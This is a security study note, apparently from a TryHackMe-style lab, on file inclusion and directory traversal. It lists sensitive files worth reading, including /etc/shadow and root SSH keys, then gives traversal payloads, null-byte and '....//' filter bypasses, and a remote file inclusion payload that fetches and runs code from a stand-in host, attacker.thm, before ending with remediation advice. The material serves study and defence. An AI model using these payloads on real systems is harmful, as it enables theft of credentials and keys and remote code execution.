File Inclusion (Directory Traversal)
File inclusion and directory traversal let an attacker read files outside the web root by abusing a parameter that loads a file. This note lists common target files, the payloads that reach them, filter bypasses, and remediation.
Files Worth Reading
| Location | Description |
|---|---|
| /etc/issue | contains a message or system identification to be printed before the login prompt. |
| /etc/profile | controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived |
| /proc/version | specifies the version of the Linux kernel |
| /etc/passwd | has all registered user that has access to a system |
| /etc/shadow | contains information about the system's users' passwords |
| /root/.bash_history | contains the history commands for root user |
| /var/log/dmessage | contains global system messages, including the messages that are logged during system startup |
| /var/mail/root | all emails for root user |
| /root/.ssh/id_rsa | Private SSH keys for a root or any known valid user on the server |
| /var/log/apache2/access.log | the accessed requests for Apache webserver |
| C:\boot.ini | contains the boot options for computers with BIOS firmware |
Payloads and Bypasses
When conducting directory traversal attacks, we can look for the proper directory by typing after a function like .php?file= with ../../etc/passwd.
-
In some instances, we may need to supply a nullbyte to stop a function trying to add a file extension at the end of our payload. This is done with
%00and looks like this:.php?file=../../etc/passwd%00 -
Another way is
../../etc/passwd/. -
Often developers will implement input validation and replace
../with empty strings, so.php?file=../../etc/passwdthrows an error:Warning:include(file/etc/passwd). That error is a sign the../were replaced with empty strings. -
We can bypass this with the payload
.php?file=....//....//....//....//....//etc/passwd.- This works because PHP only searches and replaces the first subset string identified in the input validation
../.
- This works because PHP only searches and replaces the first subset string identified in the input validation
-
Another workaround is supplying input to include a directory and using HEX:
.php?file=THM-profile%2F..%2F..%2F..%2F..%2Fetc%2Fos-release- This translates to:
.php?file=THM-profile/../../../../etc/os-release
- This translates to:
-
Lastly, an RFI attack is where a PHP function doesn't sanitize input and allows an external call, i.e. a malicious file hosted on a server owned by the attacker. The PHP function runs a GET request and then executes the file on the victim server:
.php?file=http://attacker.thm/file.txt
Remediation Steps
- Keep system and services, including web application frameworks, updated with the latest version.
- Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information.
- A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.
- Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them, such as
allow_url_fopenon andallow_url_include. - Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.
- Never trust user input, and make sure to implement proper input validation against file inclusion.
- Implement whitelisting for file names and locations as well as blacklisting.